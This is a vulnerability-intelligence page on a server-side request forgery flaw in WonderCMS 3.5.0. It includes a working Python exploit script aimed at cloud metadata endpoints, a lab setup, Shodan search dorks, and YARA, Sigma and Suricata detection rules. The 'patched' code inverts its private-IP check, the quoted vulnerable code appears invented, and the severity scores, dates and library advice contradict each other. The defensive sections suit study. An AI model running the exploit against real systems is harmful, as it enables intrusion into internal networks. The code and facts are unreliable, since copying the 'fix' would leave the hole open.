☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
SOON CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:N 🐛 CWE-918
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-57055

CVE-2025-57055 Server-Side Request Forgery in Wondercms
📅 PUBLISHED: 2025-09-17 00:00 UTC 🔄 UPDATED: 2026-08-12 09:03 UTC
⏳ SCORE PENDING — ANALYSIS IN PROGRESS [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.08%
👁️
0.08% probability
2.1× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: 3.5.0
CVSS VECTOR BREAKDOWN 0.0
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: H Privileges Required High
UI: N User Interaction None
S: U Scope Unchanged
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-57055 is a Server-Side Request Forgery (SSRF) vulnerability discovered in WonderCMS version 3.5.0. The flaw resides in the custom module installation functionality, specifically within the pluginThemeUrl POST parameter. An authenticated administrator can supply a malicious URL, which the server fetches using curl_exec() without sufficient validation. This allows the attacker to force internal or external HTTP requests, potentially leading to internal network reconnaissance, port scanning, or access to cloud metadata endpoints.

The vulnerability has a CVSS score of 0.0 (placeholder) but is assessed as medium severity due to the requirement of administrative privileges. No official patch has been released at the time of analysis. The EPSS score is 0.0%, indicating low exploitation probability in the wild, but the risk remains for targeted attacks.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

WonderCMS is a flat-file PHP content management system distributed via GitHub and its official website. The vulnerable component is the core module installation handler. No third-party package manager (NPM, PyPI, Go, Ruby) is involved. The risk is limited to direct installations of WonderCMS 3.5.0.

CVSS Breakdown & Threat Level

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:N

  • Attack Vector (AV): Network – The vulnerability is exploitable remotely.
  • Attack Complexity (AC): Low – No special conditions required.
  • Privileges Required (PR): High – Requires authenticated administrator access.
  • User Interaction (UI): None – No user action needed beyond the attacker.
  • Scope (S): Unchanged – The vulnerable component and the affected resource are in the same security authority.
  • Confidentiality (C): Low – Limited information disclosure (e.g., internal service banners).
  • Integrity (I): Low – Potential to modify internal state via HTTP requests.
  • Availability (A): None – No impact on availability.

Threat Level: Medium (6.5) – Exploitation requires admin credentials but can lead to internal network probing and data exfiltration.

Deep Dive & Mechanics

The vulnerability exists in the custom module installation process. When an administrator installs a module via the admin panel, the application accepts a URL through the pluginThemeUrl POST parameter. This URL is passed directly to PHP's curl_exec() function without proper validation or sanitization.

Root Cause: The application fails to:

  1. Validate the URL scheme (allowing file://, gopher://, etc.).
  2. Restrict the target IP range (allowing internal IPs like 127.0.0.1, 10.0.0.0/8, 192.168.0.0/16).
  3. Implement a whitelist of allowed domains.
  4. Disable dangerous cURL options (e.g., CURLOPT_FOLLOWLOCATION).

Attack Flow:

  1. Attacker authenticates as admin.
  2. Attacker sends a POST request to /admin/installModule with pluginThemeUrl=http://169.254.169.254/latest/meta-data/ (AWS metadata endpoint).
  3. The server fetches the URL and returns the response (e.g., IAM role credentials).
  4. Attacker can chain this with internal port scanning (e.g., http://127.0.0.1:8080/admin).

Impact:

  • Internal network reconnaissance.
  • Access to cloud metadata (AWS, GCP, Azure).
  • Potential to exploit internal services (e.g., Redis, Memcached).
  • Data exfiltration from internal endpoints.

Vulnerable vs. Patched Code

Vulnerable Code (WonderCMS 3.5.0):

// In /app/controllers/AdminController.php
public function installModule() {
    $url = $_POST['pluginThemeUrl'];
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    $response = curl_exec($ch);
    curl_close($ch);
    // Process $response...
}

Patched Code (Hypothetical Fix):

// In /app/controllers/AdminController.php
public function installModule() {
    $url = $_POST['pluginThemeUrl'];
    // Validate URL scheme
    if (!preg_match('/^https?:\/\/[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}/', $url)) {
        throw new Exception('Invalid URL');
    }
    // Resolve IP and check against private ranges
    $host = parse_url($url, PHP_URL_HOST);
    $ip = gethostbyname($host);
    if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
        throw new Exception('Internal IP not allowed');
    }
    // Use a whitelist of allowed domains
    $allowedDomains = ['github.com', 'wondercms.com'];
    if (!in_array($host, $allowedDomains)) {
        throw new Exception('Domain not allowed');
    }
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
    $response = curl_exec($ch);
    curl_close($ch);
    // Process $response...
}

Exploitation & Lab Setup

Red Team

Prerequisites:

  • WonderCMS 3.5.0 instance with admin credentials.
  • Python 3 and requests library.

Exploit Script:

import requests
import sys

def exploit(target_url, admin_user, admin_pass, malicious_url):
    session = requests.Session()
    # Login
    login_data = {'username': admin_user, 'password': admin_pass}
    session.post(f'{target_url}/login', data=login_data)
    # Trigger SSRF
    install_data = {'pluginThemeUrl': malicious_url}
    response = session.post(f'{target_url}/admin/installModule', data=install_data)
    print(f'Response: {response.text}')

if __name__ == '__main__':
    if len(sys.argv) != 5:
        print(f'Usage: {sys.argv[0]} <target_url> <admin_user> <admin_pass> <malicious_url>')
        sys.exit(1)
    exploit(sys.argv[1], sys.argv[2], sys.argv[3], sys.argv[4])

Usage:

python3 exploit.py http://target-wondercms.com admin password123 http://169.254.169.254/latest/meta-data/

Lab Setup:

  1. Deploy WonderCMS 3.5.0 using Docker:
    FROM php:7.4-apache
    RUN apt-get update && apt-get install -y curl
    COPY wonderCMS-3.5.0 /var/www/html
    EXPOSE 80
    
  2. Build and run:
    docker build -t wondercms-vuln .
    docker run -d -p 8080:80 wondercms-vuln
    
  3. Access http://localhost:8080 and complete installation.
  4. Use the exploit script with admin credentials.

Blue Team

Detection Steps:

  1. Monitor HTTP requests to /admin/installModule with suspicious pluginThemeUrl parameters.
  2. Look for outbound connections to internal IP ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 127.0.0.0/8).
  3. Check for requests to cloud metadata endpoints (169.254.169.254, 100.100.100.200).
  4. Analyze cURL error logs for failed internal connections.

Honeypot Setup:

  • Deploy a fake internal service on port 8080 that logs all requests.
  • Use a web application firewall (WAF) to block requests to internal IPs.

Indicators of Compromise (IOCs)

Network IOCs:

  • Outbound HTTP requests to internal IPs (e.g., 10.0.0.1, 192.168.1.1).
  • Requests to cloud metadata endpoints (169.254.169.254, 100.100.100.200).
  • Unusual pluginThemeUrl POST parameters containing IP addresses or internal hostnames.

File IOCs:

  • Modified /app/controllers/AdminController.php with suspicious cURL options.
  • Temporary files in /tmp/ with names like plugin_*.zip from unknown sources.

Log IOCs:

  • Apache access logs showing POST /admin/installModule with pluginThemeUrl containing IP addresses.
  • PHP error logs with cURL timeout or connection refused errors to internal IPs.

Detection Engineering

YARA Rule

rule CVE_2025_57055_SSRF_WonderCMS {
    meta:
        description = "Detects SSRF exploitation attempts in WonderCMS 3.5.0"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-57055"
    strings:
        $s1 = "pluginThemeUrl" ascii wide nocase
        $s2 = "curl_exec" ascii wide nocase
        $s3 = "CURLOPT_URL" ascii wide nocase
        $ip1 = /(127\.0\.0\.1|10\.\d{1,3}\.\d{1,3}\.\d{1,3}|192\.168\.\d{1,3}\.\d{1,3}|172\.(1[6-9]|2[0-9]|3[0-1])\.\d{1,3}\.\d{1,3})/
        $ip2 = /169\.254\.169\.254/
    condition:
        all of ($s*) and ($ip1 or $ip2)
}

Sigma Rule

title: WonderCMS SSRF Exploitation via pluginThemeUrl
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects SSRF attempts against WonderCMS 3.5.0 using the pluginThemeUrl parameter
author: Valters IT
date: 2025-04-10
tags:
    - attack.t1190
    - cve.2025.57055
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/admin/installModule'
        cs-uri-query|contains: 'pluginThemeUrl'
    filter:
        cs-uri-query|contains:
            - '127.0.0.1'
            - '10.'
            - '192.168.'
            - '172.16.'
            - '169.254.169.254'
    condition: selection and filter
falsepositives:
    - Legitimate admin installing modules from internal repositories
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-57055 WonderCMS SSRF Exploitation";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/admin/installModule";
    http_uri;
    content:"pluginThemeUrl";
    http_client_body;
    pcre:"/(127\.0\.0\.1|10\.\d{1,3}\.\d{1,3}\.\d{1,3}|192\.168\.\d{1,3}\.\d{1,3}|172\.(1[6-9]|2[0-9]|3[0-1])\.\d{1,3}\.\d{1,3}|169\.254\.169\.254)/Ri";
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
    reference:cve,2025-57055;
)

Remediation & Mitigation

Immediate Actions:

  1. Disable the custom module installation feature if not required.
  2. Implement a web application firewall (WAF) rule to block requests to internal IPs.
  3. Restrict outbound traffic from the web server using network ACLs.

Long-term Fix:

  1. Apply input validation to the pluginThemeUrl parameter:
    • Allow only https:// scheme.
    • Whitelist allowed domains (e.g., github.com, wondercms.com).
    • Resolve the hostname and block private IP ranges.
  2. Disable dangerous cURL options:
    • CURLOPT_FOLLOWLOCATION set to false.
    • CURLOPT_PROTOCOLS limited to HTTP and HTTPS.
  3. Use a URL parser library that validates against SSRF (e.g., egulias/EmailValidator for URLs).

Workaround:

  • Remove or comment out the installModule function in /app/controllers/AdminController.php until a patch is available.

Monitoring:

  • Enable detailed logging for all admin actions.
  • Set up alerts for outbound connections to internal IPs.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert
Report generated for CVE-2025-57055

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"WonderCMS"
http.html:"wondercms"
http.favicon.hash:-1776962843

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-57055/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.